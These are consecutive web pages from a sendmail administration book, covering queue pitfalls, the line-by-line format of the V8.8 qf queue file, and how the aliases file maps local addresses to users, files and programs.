

[Chapter 23] 23.8 Pitfalls

sendmailSearch this book
Previous: 23.7 Process Alternate Queues Chapter 23
The Queue 		Next: 23.9 The qf File Internals

23.8 Pitfalls

  • Each release of sendmail offers more and better ways to handle queue problems. They are mostly implemented as options. Table 34.7 in Section 34.6.2, "The Queue" lists all options that affect the queue. Of special interest are the new MaxQueueRunSize, Timeout.queuereturn, and Timeout.queuewarn options. Whenever you upgrade to a new sendmail release, be sure to read the RELEASE_NOTES for that latest information about new ways to solve queueing problems.

  • The queue directory should never be shared among machines. Such sharing can make detection of orphaned locks impossible. Bugs in network locking daemons can lead to race conditions in which neither of two machines can generate a queue identifier.

  • In old versions of sendmail it was possible for an lf file to be left in place even though its corresponding mail message was not being processed. Such spurious files prevented the message from ever being delivered unless they were removed by hand. Spurious lock files could be detected by watching the syslog(5) file for frequent locked warnings.

  • Homespun programs and shell scripts for delivery of local mail can fail and lose mail by exiting with the wrong value. In the case of a recoverable error (a full disk, for example) they should exit with EX_OSERR or EX_TEMPFAIL. Both these exit values are defined in <sysexits.h> and cause the message to be requeued.

  • Because sendmail does a chdir(2) into its queue directory, you should avoid removing and recreating that directory while the sendmail daemon is running. When processing the queue, sendmail tries to read the queue directory by doing an opendir(3) of the current directory. When the queue directory is removed, sendmail fails that open and syslog(3)'s the following warning:

    orderq: cannot open "/usr/spool/mqueue" as ".": No such file or directory

  • Under a few old versions of sendmail a bug in handling the queue could cause a message to be lost when that message was the last in a queue run to be processed. This, among other reasons, is good cause to always make sure you are running the latest version of sendmail.

  • The sendmail program assumes that only it and other trusted root programs will place files into the queue directory. Consequently, it trusts everything it finds there. The queue directory must be protected from other users and un-trusted programs.

  • If the queue directory is on a disk mounted separately from / and /usr, be certain to mount that disk before starting the sendmail daemon. If you reverse these steps, the sendmail daemon will chdir(2) into the queue before the mount. One effect of the reversal is that incoming mail will use a different directory than outgoing mail. Another effect is that incoming queued mail will be invisible. Yet another effect is that the outgoing queue will never be processed by the daemon.

Previous: 23.7 Process Alternate Queues | sendmail | Next: 23.9 The qf File Internals
23.7 Process Alternate Queues | Book Index | 23.9 The qf File Internals


[Chapter 23] 23.9 The qf File Internals

sendmailSearch this book
Previous: 23.8 Pitfalls Chapter 23
The Queue 		Next: 24. Aliases

23.9 The qf File Internals

The qf file holds all the information that is needed to perform delivery of a queued mail message. The information contained in that file, and its appearance, changes from release to release of sendmail. Here, we document the qf file that is used with V8.8 sendmail. Note that as of V8.7 a V version line has been introduced to enable future versions to correctly process older version's queue files.

This section must be taken with a proverbial grain of salt. The internals of the qf file are essentially an internal interface to sendmail and, as such, are subject to change without notice. The information offered here is intended only to help debug sendmail problems. It is not intended (and we strongly discourage its use) as a guide for writing files directly to the queue.

The qf file is line-oriented, containing one item of information per line. Each line begins with a single uppercase character (the code letter), which specifies the contents of the line. Each code letter is followed, with no intervening space, by the information appropriate to the letter. The complete list of code letters is shown in Table 23.2.

Table 23.2: qf File Code Letters
Code |  | Meaning | Version | How Many
B | Section 23.9.1 | Body type | V8.6 and above | At most one
C | Section 23.9.2 | Controlling user | V5.62 and above | At most one per R line
D | Section 23.9.3, D line | Data filename | Obsolete as of V8.7 | Exactly one
E | Section 23.9.4, E line | Errors to | V8.6 and earlier | Many
F | Section 23.9.5, F line | Flag bits | V8.1 and above | Many
H | Section 23.9.6, H line | Header definition | All versions | Many
I | Section 23.9.8, K line | df file's inode number | V8.7 and above | Exactly one
K | Section 23.9.8 | Time last processed | V8.7 and above | Exactly one
M | Section 23.9.9 | Message (why queued) | All versions | At most one
N | Section 23.9.10, N line | Number times tried | V8.7 and above | At most one
P | Section 23.9.11 | Priority (current) | All versions | At most one
Q | Section 23.9.12, Q line | Original recipient | V8.7 and above | At most one per R line
R | Section 23.9.13 | Recipient address | All versions | Many
S | Section 23.9.14 | Sender address | All versions | Exactly one
T | Section 23.9.15 | Time created | All versions | Exactly one
V | Section 23.9.16, V line | Version | V8.7 and above | Exactly one
Z | Section 23.9.17, Z line | DSN envelope ID | V8.7 and above | At most one
$ | Section 23.9.18, $ line | Restore macro value | V8.6 and above | At most one each
. | Section 23.9.19, . line | End of qf file | V8.7 and above | At most one

Some code letters may appear only once in a qf file; others may appear many times. Any line that begins with a tab or space character is joined to the line above it. Empty lines are ignored. The order in which these lines appear in the qf file is important for the mailq command to work properly.

We discuss the individual lines in the qf file by code letters. Each letter is presented in alphabetical order rather than the order in which they should appear in the qf file.

23.9.1 B line

Message body type

(V8.6 and above)

The message body type is described under the -B command-line switch (see Section 36.7.1). The B line in the qf file stores whatever the body type was set to, either from the command line or by the SMTP MAIL command. The two usual body types are 8BITMIME or 7BIT.

The form of the B line is

Btype

There must be no space between the B and the type. If the type is missing, the body type becomes the character value zero. If the entire B line is missing, the default is 7BIT. If type is longer than MAXNAME as defined in conf.h (see Section 18.8.19, MAX...) when compiling sendmail, it is truncated to MAXNAME-1 characters when the qf file is read.

Note that the type must be either 7bit or 8bitmime. Anything else will not be detected when the qf file is read and may eventually cause the ESMTP dialogue to fail:

501 <sender>... Unknown BODY type badtype

This error will be reproduced at every MX site for the recipient until a site that does not speak ESMTP is found or until the MX list is exhausted.

23.9.2 C line

Set controlling user

(V5.62 and above)

To ensure secure handling of delivery, recipient addresses that are either a file or a program require that sendmail perform delivery as the owner of the file or program rather than as root. A file address is one that begins with a / character. A program address is one that begins with a | character. Both characters are detected after quotation marks have been stripped from the address.

To prevent potential security violations, sendmail must take special precautions when addresses in the qf file result from reading a ~/.forward or :include: file. When such an address is to be placed into the qf file (whether as a recipient's address in an R line or as an error recipient's address in an E line), sendmail first places a C line (for Controlling user) into the file and then the recipient's address. The C line specifies the owner of the ~/.forward or :include: file:

Cgeorge
RPF:/u/users/george/mail/archive
Cben
RPF:|/u/users/ben/bin/mailfilter

Here, when sendmail later delivers to the recipients in this qf file, it first converts its user identity to that of the user george, then resets itself back to being root again. The same process repeats with the next recipient, except that sendmail changes from root to ben and back again. If there is no C line preceding a R line, the previous C line's value is carried down:

Cgeorge
RPF:/u/users/george/mail/archive
RPF:|/u/users/ben/bin/mailfilter            <-  controlling user is george

The form of the C line in the qf file is

Cuser                    <-  Prior to V8
Cuser:eaddr              <-  V8.1 through V8.7.5
Cuser:uid:gid:eaddr      <-  V8.7.6 and V8.8

The C must begin the line and be immediately followed by user, with no intervening space. If no user follows the C, any prior controlling user is cleared and the identity that is used reverts to that specified by the DefaultUser (u) option (see Section 34.8.15, DefaultUser (g)(u)). If present, the user is the login name of the owner of the ~/.forward or :include: file that yielded the address in the next following R or E line. If user is the name of a user who is unknown to the system, prior to V8.7.6 and prior to V8.8 the effect was the same as if it were missing. Beginning with V8.8 and V8.7.6, an unknown user causes the identity to become that of the uid and gid. Beginning with V8 sendmail, an optional eaddr may be last. If present, the eaddr gives the address to use for error messages.

There may be only one C line immediately preceding each R and E line. Two C lines in a row have the effect of the second superseding the first.

23.9.3 D line

Data filename

(Obsolete as of V8.7)

Beginning with V8.7 sendmail looks for its data file (the file containing the message body) under the same name as its qf file, but with the q changed into a d. Prior to V8.7, the D line in the qf file contained the name of the file that contained the message body. If the D line was missing, there was no message body. The form of the qf file D line was

Dfile

The D must begin the line. The file must immediately follow with no intervening space. All text, from the first character following the D to the end of the line, is taken as the name of the file. There is no default for file; either it must be present, or the entire D line must be absent.

The sendmail program opens the df file for reading. If that open fails, sendmail syslog(3)'s the following error message at LOG_CRIT and continues to process the qf file:

readqf: cannot open dfAA12345

Be aware that sendmail attempts to remove the file after it has been delivered to all recipients. If sendmail is unable to remove the file, and if the LogLevel (L) option (see Section 34.8.33, LogLevel (L)) is greater than 97, sendmail syslog(3)'s the following warning at LOG_DEBUG:

file: unlink-fail #

The file is the name of the file that could not be removed. The # is the error number, as defined in /usr/include/errno.h.

The df file is opened only when processing the queue file, not when printing it.

23.9.4 E line

Send errors to

(V8.6 and earlier)

Notification of errors often requires special handling by sendmail. When mail to a mailing list fails, for example, sendmail looks for the owner of that list. If it finds one, the owner, not the sender, receives notification of the error. To differentiate error notification addresses from ordinary sender and recipient addresses, pre-V8.7 sendmail stored error addresses separately in the qf file, one per E line. Beginning with V8.7, this E line is no longer used. Instead, sendmail uses the S line.

The form of the E line in the qf file looks like this:

Eaddr           <-  V8.6 and earlier

The E must begin the line. One or more addresses may be entered on that same line. Whitespace and commas may surround the individual addresses. Note, however, that sendmail places only a single address on each E line. There may be multiple E lines. Each is processed in turn.

Each line is fully processed as it is read. That is, the line is scanned for multiple addresses. Each address that is found is alias-expanded. Each resulting new address is processed by rule sets 3 and 0 to resolve a delivery agent for each.

If an alias expands to a program or a file (text that begins with a / or | character), that text is sent out in the delivered message's Errors-To: line in that form. This can cause confusion when the message is later processed and bounced at the receiving site.

23.9.5 F line

Saved flag bits

(V8.1 and above)

Under V8 sendmail the Timeout.queuewarn option (see Section 34.8.70) can specify an interval to wait before notifying the sender that a message could not immediately be delivered. To keep track of whether such a notification has been sent, sendmail stores the state of its EF_WARNING envelope flag in the qf file. If that flag is set, notification has already been sent.

Error mail messages sent by sendmail may occasionally be queued, rather than immediately delivered. The Timeout.queuewarn option notification should not be sent for such mail. If such mail remains in the queue too long, it should be canceled rather than bounced. V8 sendmail saves the state of the EF_RESPONSE envelope flag in the qf file. If that flag is set, the message is an error notification.

Beginning with V8.8, sendmail also records the state of the EF_HAS8BIT flag (the message body contains 8-bit data) and the EF_DELETE_BCC flag (delete empty Bcc: headers; see Section 35.10.4, Bcc:).

All envelope flags are listed in Table 37.3 of Section 37.5.12, -d2.1. The F line is used to save envelope flags for later restoration. Its form looks like this:

Fflags

Here, the flags are any combination of w, which restores (sets) the EF_WARNING flag; r, which restores the EF_RESPONSE flag; 8, which restores the EF_HAS8BIT flag; and b, which restores the EF_DELETE_BCC flag. Only those letters are recognized. Other letters are silently ignored. Note that these flags may be done away with in later versions of sendmail and new flags may be added without notice.

For security protection, V8 sendmail rejects and logs the following flag sequence:

From

    a space here

See Section 23.3.5, "Funny Flag Bits in qf File" for more information about this.

23.9.6 H line

Header line

(All versions of sendmail)

The lines of text that form the message header are saved to the qf file, one per H line. Any header lines added by sendmail are also saved to H lines in the qf file.

The form of the H line is:

Hdefinition

The H must begin the line, and the definition must immediately follow with no intervening space. The definition is exactly the same as, and obeys the same rules as, the H commands in the configuration file (see Section 35.1, "The H Configuration Command").

When sendmail writes header lines to the qf file, it pre-expands macros (replaces expressions such as $x with their values) and preresolves conditionals ($?, $!, and $.).

The order in which H lines appear in the qf file is exactly the same as the order in which they appear in the delivered message.

23.9.7 I line

Inode and device information for the df file

(V8.7 and above)

When a machine crashes under UNIX, files in a directory may become detached from that directory. When this happens, those orphaned files are saved in a directory called lost+found. Because file names are saved only in directories, orphaned files are nameless. Consequently, UNIX stores them in lost+found using their inode numbers as their names.

To illustrate, consider finding these four files in lost+found after a crash:

#1528 #1200 #3124 #3125

Two of these are qf files, and two are df files. Beginning with V8.7 sendmail the qf files contain a record of the inode numbers for their corresponding df files. That information is stored in the I line:

Imajor/minor/ino

Here, the major and minor are the major and minor device numbers for the disk device that the df file was stored on. The ino is the inode number for the df file. In our above lost+found example the following command could be run to pair up the orphaned files:

% grep "^I.*/.*/" *
#1200:I123/45/3124
#1325:I123/45/1528

This shows that the qf file #1200 has the df file #3124 and that the qf file #1325 has the df file #1528.

The sendmail program does not check the inode number in the I line against the actual inode number of the df file. Instead, the I line is generated afresh each time the qf file is processed.

23.9.8 K line

The time last processed from the queue

(V8.7 and above)

The MinQueueAge option (see Section 34.8.41) sets the length of time a queued message must remain queued before delivery can again be tried. Each time sendmail processes a qf file, it subtracts the time stored in the K line from the current time and compares the result to the MinQueueAge. If sufficient time has not passed, the rest of processing is skipped. (Note that this test is performed only if the qf file has been processed at least once; see the N line in Section 23.9.10).

The time stored in the K line looks like this:

K703531020

This number represents the date and time in seconds. Every time the qf file is processed (delivery is attempted), the K line is updated with the current time.

23.9.9 M line

The reason message was queued

(All versions of sendmail)

When a mail message is placed into the queue because of an error during the delivery attempt, the nature of that error is stored in the M line of the qf file. The error is usually prefixed with Deferred:

Deferred: reason

Delivery can be deferred until a later queue run because of a temporary lack of services. For example, the reason may be "remote host is down."

The form of the qf file M line is:

Mmsg

The M must begin the line. It is immediately followed by the msg with no intervening space. The text of msg is everything up to the end of the line. The msg created by sendmail may include the word Deferred:, followed by a reason. The M line should appear before the S line.

If the msg is missing, sendmail simply prints a blank line rather than a reason when showing the queue with mailq or the -bp command-line switch. If the M line is entirely missing, sendmail prints nothing.

The maximum number of characters in msg is defined by MAXLINE in conf.h (see Section 18.8.19). There should be only one M line in a qf file. If there are multiple M lines, only the last is used. If multiple recipients produced error messages, only the last one is stored in an M line.

23.9.10 N line

Number of times tried

(V8.7 and above)

Each time delivery is attempted for a message, the number stored in its qf file's N line is incremented by one. This number always begins at zero.

When delivering many messages to a single host, sendmail remembers failures. If one message fails to make it all the way through an SMTP dialogue, all the following messages to that same host will be deferred (not attempted during the current queue run). For those deferred messages the number of tries is correctly incremented as though the delivery was actually attempted.

The value in this N line is used to determine whether the delay of the MinQueueAge option (see Section 34.8.41) should be triggered. This value, when zero, can also be used to enable a special first-time connection timeout (see Section 34.8.70.9, "Timeout.iconnect").

23.9.11 P line

Priority when processed from queue

(All versions of sendmail)

Not all messages need to be treated equally. Messages that have failed often, for example, tend to continue to fail. When sendmail processes the messages in its queue, it sorts them by priority that was and attempts to deliver those most likely to succeed first.

When a mail message is first placed into the queue, it is given an initial priority calculated when it was first created (see Section 34.8.53), which is stored in the P line:

P640561

This number in the qf file is really a cost. The lower it is, the more preferentially the message is treated by sendmail. Each time the qf file is read, the number in the P line is incremented. The size of that increment is set by the value of the RetryFactor (Z) option (see Section 34.8.56, RetryFactor (Z)). If that option is negative, the logic of "what fails will continue to fail" is inverted.

The form of the qf file P line is

Ppri

The P must begin the line. The pri is a text representation of an integer value. The pri must immediately follow the P with no intervening space. The text in pri is converted to an integer using the C library routine atol(3). That routine allows pri to be represented in text as a signed decimal number, an octal number, or a hexadecimal number.

If pri is absent, the priority value used is that of the configuration file RetryFactor (Z) option. If the entire P line is absent, the priority value begins as zero.

There should be only one P line in any qf file. Multiple P lines cause all but the last to be ignored.

23.9.12 Q line

The DSN ORCPT address

(V8.7 and above)

When a mail message arrives that includes an ORCPT parameter for the ESMTP RCPT command (see RFC1891), sendmail needs to save that parameter's information separately from the RCPT recipient address:

RCPT TO:<gw@wash.dc.gov> ORCPT=rfc822;gw@wash.dc.gov

         recipient address   parameter's information

Not all sites understand ESMTP. If sendmail forwards the message to such a site, it needs to omit the ORCPT parameter. Consequently, sendmail must not store that parameter with the RCPT address.

The Q line is used to separately store the ORCPT parameter information:

Qtype;addr

The type;addr is defined by RFC1891. The sendmail program checks the validity of addr when that information is received but otherwise merely stores type;addr as is in the Q line.

There must be only a single Q line for each recipient R line, and each such Q line must precede its corresponding R line.

23.9.13 R line

Recipient's address

(All versions of sendmail)

The qf file lists all the recipients for a mail message. There may be one recipient or many. When sendmail creates the qf file, it lists each recipient address on an individual R line. The form of the R line in the qf file looks like this:

Rflags:addr

The R must begin the line. Only a single address may appear on each R line. There may be multiple R lines. Each is processed in turn.

If the colon is present and if the version of the qf file is greater than 0, the characters between the R and the colon are interpreted as flags that further define the nature of the address: P (primary) Addresses can undergo many transformations prior to delivery. When expanding aliases, for example, the address george might be transformed into two addresses via a ~/.forward file: george@here and george@there. In this instance, george is the primary address, and the aliases are secondary addresses. If aliasing yields only a single transformation, the single new address is considered primary. Addresses that are received via a RCPT SMTP command are always considered primary, as are all other recipient addressees prior to aliasing. N (notify) Recipient addresses can lead to various kinds of notification based on the nature of the DSN NOTIFY extension to the RCPT SMTP command. That notification can be either NEVER or some combination of SUCCESS, FAILURE, or DELAY. Internally, sendmail uses the absence of the latter three to imply NEVER. This N flag simply says that the DSN NOTIFY extension appeared in the message. If the N is absent, but an S, F, or D is present, DSN information will not be propagated. Note that NOTIFY can also be specified by using the -N command line switch (see Section 36.7.28, -N).

S, F, D

(success, failure, delay) The DSN NOTIFY extension to the RCPT SMTP command will specify either NEVER or some combination of SUCCESS, FAILURE, or DELAY. When any of these is specified, its first letter is used as a flag for the recipient address. SUCCESS means to notify the sender that final delivery succeeded. FAILURE is used to notify the sender that some step toward delivery failed fatally. DELAY lets the sender know that the message has been delayed but delivery will continue to be attempted.

Each R line is fully processed as it is read. That is, the line is scanned for multiple addresses. Each address that is found is alias-expanded. Each resulting new address is processed by rule sets 3 and 0 to resolve a delivery agent for each.

23.9.14 S line

Sender's address

(All versions of sendmail)

Each mail message must have a sender. The sendmail program can determine the sender in four ways:

  • If the sender is specified in the envelope of an SMTP connection, that sender's address is used.

  • If the -f command-line argument is used to run sendmail, the sender's address is the address following the -f.

  • If the sender is not specified in the envelope, the address that is used is that of the user who ran the sendmail program. If that user is unknown, the sender is made to be postmaster.

  • When processing the queue, the sender's address is specified in the S line of the qf file.

The form of the S line in the qf file looks like this:

Saddr

The S must begin the line. Exactly one address must follow on that same line. Whitespace may surround that address. There may be only one S line in the qf file.

If the addr is missing, sendmail sets the sender to be the user who ran sendmail. If that user is not known in the passwd file (or database), sendmail syslog(3)'s the following message and sets the sender to be postmaster:

Who are you?

The resulting address is then processed to extract the user's full name into $x (see Section 31.10.42, $x). Finally, the sender's address is rewritten by rule sets 3, 1, and then 4.

Under all versions of sendmail the address in the S line will include any RFC822 comment text that appeared with the original message. Under V8.7, if the F=c flag (see Section 30.8.14, F=c) is set for the sender's delivery agent, all comment text is stripped from the address.

If sendmail is compiled with USERDB defined (see Section 18.8.54, USERDB), the sender address can optionally be rewritten by the User Database before it is placed into the S line. Such rewriting is allowed only if the delivery agent for the sender includes the F=i flag (see Section 30.8.24, F=i).

23.9.15 T line

Creation time

(All versions of sendmail)

To limit the amount of time a message can remain in the queue before being bounced, sendmail must know when that message was first placed in the queue. That time of first placement is stored in the T line in the qf file. For example, the following number represents the date and time in seconds:

T703531020

Each time sendmail fails to deliver a message from the queue, it checks to see whether too much time has passed. It adds the T line value to the value specified in the Timeout.queuereturn (T) option (see Section 34.8.70). If that sum is less than the current time, the message is bounced instead of being left in the queue.

Messages are occasionally left in the queue for longer than the normal timeout period. This might happen, for example, if a remote machine is down but you know that it will eventually be brought back up. There are two ways to lengthen the amount of time a message may remain in the queue.

The preferred way is to create a temporary separate queue directory and move the necessary queued file to that temporary holding place. When the remote site comes back up, you can later process the files in that other queue by running sendmail with an artificially long Timeout.queuereturn value (see Section 23.7).

A second way to extend the life of messages in the queue is to edit the qf file and change the value stored in the T line. Just add 86400 to that value for each day you want to extend. Care is required to avoid editing a file that is currently being processed by sendmail. [8]

[8] The nvi(1) editor uses the same file locking as sendmail and so can safely be used to edit qf files.

There is currently no plan to give sendmail the ability to rejuvenate queued messages (make old messages appear young).

The form of the T line in the qf file is:

Tsecs

The T begins the line, and the secs must immediately follow with no intervening space. The numeric text that forms secs is converted to an integer using the C library routine atol(3). That routine allows secs to be represented in text as a signed decimal number, an octal number, or a hexadecimal number.

If secs is absent or the entire T line is absent, the time value is zero. A zero value causes the mail message to time out immediately.

There should be only one T line in any qf file. Multiple T lines cause all but the last to be ignored.

23.9.16 V line

Version of the qf file

(V8.7 and above)

s sendmail evolves, it will continue to add new abilities to the qf file. To protect old versions of sendmail from wrongly misinterpreting new configuration files, the V line has been introduced. Prior to V8.7 sendmail there was no V line. For versions prior to 8.7.6 the version for the V line is 1:

V1              <-  V8.7.5 and earlier

For V8.7.6 and above, including V8.8, the version is 2 (where version 2 changes the layout of the C line in the qf file):

V2              <-  V8.7.6 and above and V8.8

If the version is greater than that currently supported, sendmail will log this error and exit:

Version number in qf (bad) greater than max (max)

A version 1 qf file allows flags to follow the R line.

23.9.17 Z line

DSN ENVID envelope identifier

(V8.7 and above)

The MAIL ESMTP command may optionally be followed by an RFC1891 ENVID envelope identifier:

MAIL From: <address> ENVID=envelopeID

ENVID is used to propagate a consistent envelope identifier (distinct from the Message-ID: header see Section 35.10.19, Message-ID:) that is permanently associated with a message.

The Z line holds that ENVID envelope identifier information:

ZenvelopeID

The ENVID information needs to be held separately from the S sender line because sendmail has no way to determine in advance whether a recipient host speaks ESMTP.

There must be only a single Z line in any qf file. The ${envid} macro (see Section 31.10.12, ${envid}) also stores the ENVID value.

23.9.18 $ line

Restore macro value

(V8.6 and above)

The sendmail program uses the $r macro (see Section 31.10.31, $r) to store the protocol used when sendmail first received a mail message. If the message was received by using SMTP, that protocol is smtp. Otherwise, it is NULL.

The sendmail program uses the $s macro (see Section 31.10.33, $s) to store the full canonical name of the sender's machine.

The sendmail program uses the $_ macro (see Section 31.10.1, $-) to store RFC1413 identd(8) information and IP source routing information.

When sendmail creates a qf file, it saves the values of the $r, $s, and $_ macros in lines that begin with $.

The form of the $ line in the qf file looks like this:

$Xvalue

The $ must begin the line, and the macro's single-character name (the X) must immediately follow with no intervening space. The X is followed (again with no intervening space) by the value of the macro.

If value is missing, the value given to the macro is NULL. If the X and value are missing, the macro \0 is given a value of NULL. If both are present, the macro that is specified (X) is given the value specified (value).

There may be multiple $ lines. The need to quickly process a qf file requires that only single-character macro names be used.

23.9.19 . line

Mark EOF in qf file

(V8.7 and above)

One form of attack against sendmail involves appending information to an existing qf file. To prevent such attacks, V8.7 introduced the dot line. In a qf file, any line that begins with a single dot:

.followed by anything

is considered to mark the end of the file's useful information. Upon encountering that dot, sendmail continues to read the qf file. If any line follows the dot line, sendmail logs the following message and changes the qf file into a Qf file (see Section 23.3.3, "Extra Data at End of qf File"):

SECURITY ALERT: extra data in qf: bogus line here

Previous: 23.8 Pitfalls | sendmail | Next: 24. Aliases
23.8 Pitfalls | Book Index | 24. Aliases


[Chapter 24] Aliases

sendmailSearch this book
Previous: 23.9 The qf File Internals Chapter 24 Next: 24.2 Forms of Alias Delivery

24. Aliases

Contents:
The aliases(5) File
Forms of Alias Delivery
Write a Delivery Agent Script
Special Aliases
The Aliases Database
Prevent Aliasing with -n
Pitfalls

Aliasing is the replacing of one recipient address with one or more different recipient addresses. The replacement address can be that of a single user, a list of recipients, a program, a file, or any mixture of these. In this chapter we cover the aliases(5) file, one of the three methods of aliasing available with the sendmail program. We cover the other two forms, :include: (for including separate files from within the aliases file) and ~/.forward (the user's personal :include: file) in the next chapter.

Aliasing can be used to handle several complex delivery problems:

  • Delivering mail to a single user under a variety of usernames

  • Distributing a mail message to many users by specifying only a single recipient name

  • Appending mail to files for archival and other purposes

  • Filtering mail through programs and shell scripts

All the information that is needed to perform these tasks is contained in the aliases(5) file (which is often also stored in database format to make lookups faster).

24.1 The aliases(5) File

The aliases(5) file is one of several sources that can supply system mail aliases. We describe it first because it is the most traditional and because it illustrates the syntax and limitations common to all techniques.

The aliases(5) file is composed of lines of text. Any line that begins with a # is a comment and is ignored. Empty lines (those that contain only a newline character) are also ignored. Any line that begins with a space or a tab is joined (appended) to the line above it. All other lines of text are viewed as alias lines. The format for an alias line is:

local: alias

The local must begin a line. It is an address in the form of a local recipient address (we will discuss this in more detail soon). The colon follows the local on the same line and may be preceded with spaces or tabs. If the colon is missing, sendmail prints and syslog(3)'s the following error message and skips that alias line:

missing colon

The alias (to the right of the colon) is one or more addresses on the same line. Indented continuation lines are permitted. Each address should be separated from the next by a comma and optional space characters. A typical alias looks like this:

root: jim, sysadmin@server,
      gunther

  indenting whitespace

Here, root is the local address to be aliased. When mail is to be locally delivered to root, it is looked up in the aliases(5) file. If found, root is replaced with the three addresses shown earlier, and mail is instead delivered to those other three addresses.

This process of looking up and possibly aliasing local recipients is repeated for each recipient until no more aliases are found in the aliases(5) file. That is, for example, if one of the aliases for root is jim and if jim also exists to the left of a colon in the aliases file, he too is replaced with his alias:

jim: jim@otherhost

The list of addresses to the right of the colon may be mail addresses (such as gunther or jim@otherhost), the name of a program to run (such as /etc/relocated), the name of a file onto which to append (such as /usr/share/archive), or the name of a file to read for additional addresses (using :include:). The :include: is used in creating mailing lists and will be covered in the next chapter.

24.1.1 The aliases(5) file's location

The location of the aliases(5) file is specified with the ServiceSwitchFile option (see Section 34.8.61, ServiceSwitchFile) and the AliasFile (A) option (see Section 34.8.1, AliasFile (A)) in the configuration file. Be aware that, since these two options interact, it may not suffice to simply declare one or the other. Also be aware that some systems supply service-switch files that will be used even if the ServiceSwitchFile option is omitted.

Note that the service-switch file merely specifies the order in which various methods should be used to look up aliases, not the specific files. If it lists files as a method:

aliases    files

then all the files declared with the AliasFile option will be looked up in the order in which they were declared:

  • If the AliasFile option specifies a file and if a service-switch file omits the files specification, the AliasFile option is ignored.

  • If the AliasFile option specifies a file and if a service-switch file omits the aliases line, the AliasFile option is used.

  • If the AliasFile option specifies a file and if there is no service-switch file, then the AliasFile option file is used.

  • If the AliasFile option is omitted and if there is no service-switch file or if there is a service-switch file but it omits an aliases line, sendmail silently presumes that it should not do aliasing.

Note that service-switch files and AliasFile (A) option can list other techniques for obtaining aliases in addition to, or instead of, an aliases(5) file. But this can lead to a side effect. For example, if your configuration file declares

O AliasFile=/etc/aliases,nis:

and if the service-switch file aliases line specifies:

aliases    nis files

then sendmail looks up aliases first with nis, then in the /etc/aliases file, then with nis a second time.

24.1.2 Local Must Be Local

The local part of an alias must be in the form of a local recipient. This restriction is enforced each time sendmail reads the aliases(5) file. For every name to the left of a colon that it finds, sendmail performs the following normalization and verification steps.

To begin, sendmail normalizes each address by removing everything but the address part. For example, consider the following two alias lines:

george (George Washington): gw
George Washington <george>: gw

When sendmail reads these lines, it normalizes each into its address part:

george (George Washington)    becomes   ->   george
George Washington <george>    becomes   ->   george

After the address part is extracted, it is converted to lowercase and rewritten by rule sets 3 and 0 to see whether it causes the local delivery agent to be selected or, beginning with V8.7 sendmail, to see whether it causes any delivery agent with the F=A flag set (see Section 30.8.12, F=A) to be selected.

Here, the address george (after processing) selects a local delivery agent, and so these alias lines are legal. Internally (or in its database), sendmail stores the above alias as

george: gw

When mail arrives that is addressed for delivery to george, sendmail rewrites that address with rule sets 3 and 0. Rule set 0 selects the local delivery agent (or, for V8.7, any agent with F=A set). Only if a local delivery agent is selected for an address does sendmail look up an address in its aliases file. The address george is looked up and replaced with gw. Internally, sendmail marks the recipient george as defunct, having been replaced with an alias, and then adds gw to the list of recipients.

The new recipient, gw, is then processed for delivery. Rule sets 3 and 0 are called once more and again select a local delivery agent. As a consequence, gw is also looked up. If it is found to the left of a colon in the aliases file, it too is replaced with yet another address (or addresses). This process repeats until no new local addresses are found.

The entry george is marked defunct rather than being deleted to detect alias loops. To illustrate, consider the following two mutually referencing aliases:

george: gw
gw: george

The sendmail program first replaces george with gw, marking george as defunct. It goes to mark gw as defunct but notices that a loop has been formed. If sendmail is running in verbose mode (see Section 34.8.76, Verbose), it prints

aliasing/forwarding loop broken

and bounces the message.

Note that aliases can get pretty complex. As a consequence, when one address aliases to many new addresses, this autodetection of loops will fail (but the problem will be caught later with "hop counting"; see Section 34.8.36, MaxHopCount (h)).

Previous: 23.9 The qf File Internals | sendmail | Next: 24.2 Forms of Alias Delivery
23.9 The qf File Internals | Book Index | 24.2 Forms of Alias Delivery


[Chapter 24] 24.2 Forms of Alias Delivery

sendmailSearch this book
Previous: 24.1 The aliases(5) File Chapter 24
Aliases 		Next: 24.3 Write a Delivery Agent Script

24.2 Forms of Alias Delivery

The right-hand side of an alias entry can take four forms:

local:  user
local:  /file
local:  |program
local:  :include: list

The user specifies final delivery to a user's mail spool file (via the ~/.forward file), delivery to a new address (e.g. user@newsite), or one step in further aliasing. The /file specifies delivery by appending to a file. The |program specifies delivery by piping the message through a program. The :include: specifies processing of a mailing list. The first three are covered here. The last is covered in the next chapter.

24.2.1 Delivery to Users

Any address in the list of addresses to the right of the colon that does not begin with a / character or a | character is considered the address of a user. The address can be local or remote.

If a user address is prefixed with a backslash character (\) [1] and the address is a local one, all further aliasing is suppressed (including reading the user's ~/.forward file). The message is delivered with the local delivery agent.

[1] Actually, a backslash anywhere in the name causes the same immediate delivery.

24.2.2 Delivery to Files

When any of the addresses to the right of a colon in the alias list begins with a / character, delivery is made by appending the mail message to a file. This is automatic with most configuration files but not with others. If your configuration file does not automatically recognize a leading / character, you will need to add a new rule near the end of your rule set 0 (see Section 29.6, "Rule Set 0"). For example,

R/$+     $@ $#local $: /$1

Beginning with V8.7 sendmail, any delivery agent for which the F=/ flag (see Section 30.8.9, F=/ (forward slash)) is set can also append messages to files. If you want to disable this ability, delete the F=/ flag from all delivery agent declarations in your configuration file.

In the list of addresses to the right of the colon, sendmail considers any local address that begins with the / character to be name of a file. [2] Whenever the recipient address is a file, sendmail attempts to deliver the mail message by appending it to the file. This ability to deliver mail to files is included primarily in sendmail so that failed mail may be saved to a user's ~/dead.letter file. It can also be used (through use of aliases) to deliver mail to other files, but that use is less than optimum, as you will see.

[2] Note that an @host prevents this interpretation. That is, /a is a file, but /a@host is not. This distinction is necessary for X.400 addresses to be handled correctly. Note that this works only if the smtp delivery agent omits the F=/ flag.

To deliver to a file, sendmail first performs a fork(2) and gives the child the task of delivery. The fork is necessary so that sendmail can change its effective uid and gid, as we will show. The child then performs a stat(3) on the file. If the file exists, its file permissions are saved for later use. If it doesn't exist, the saved permissions are defaulted to 0666. Under V8.7 the decision to use stat(2) versus lstat(2) to obtain the permissions is determined by the SafeFileEnvironment option (see Section 34.8.58, SafeFileEnvironment).

If the saved permissions have any execute bit set, the child exits with EX_CANTCREAT as defined in <sysexits.h>. If the file has a controlling user associated with it, any suid and sgid bits are stripped from the saved permissions. If the file was listed in a ~/.forward file, the controlling user is the owner of the ~/.forward file. If it was listed in a :include:'d file, the controlling user is the owner of the included file. If the message is being processed from the queue, the controlling user may be specified in the qf file (see Section 23.9.2, C line).

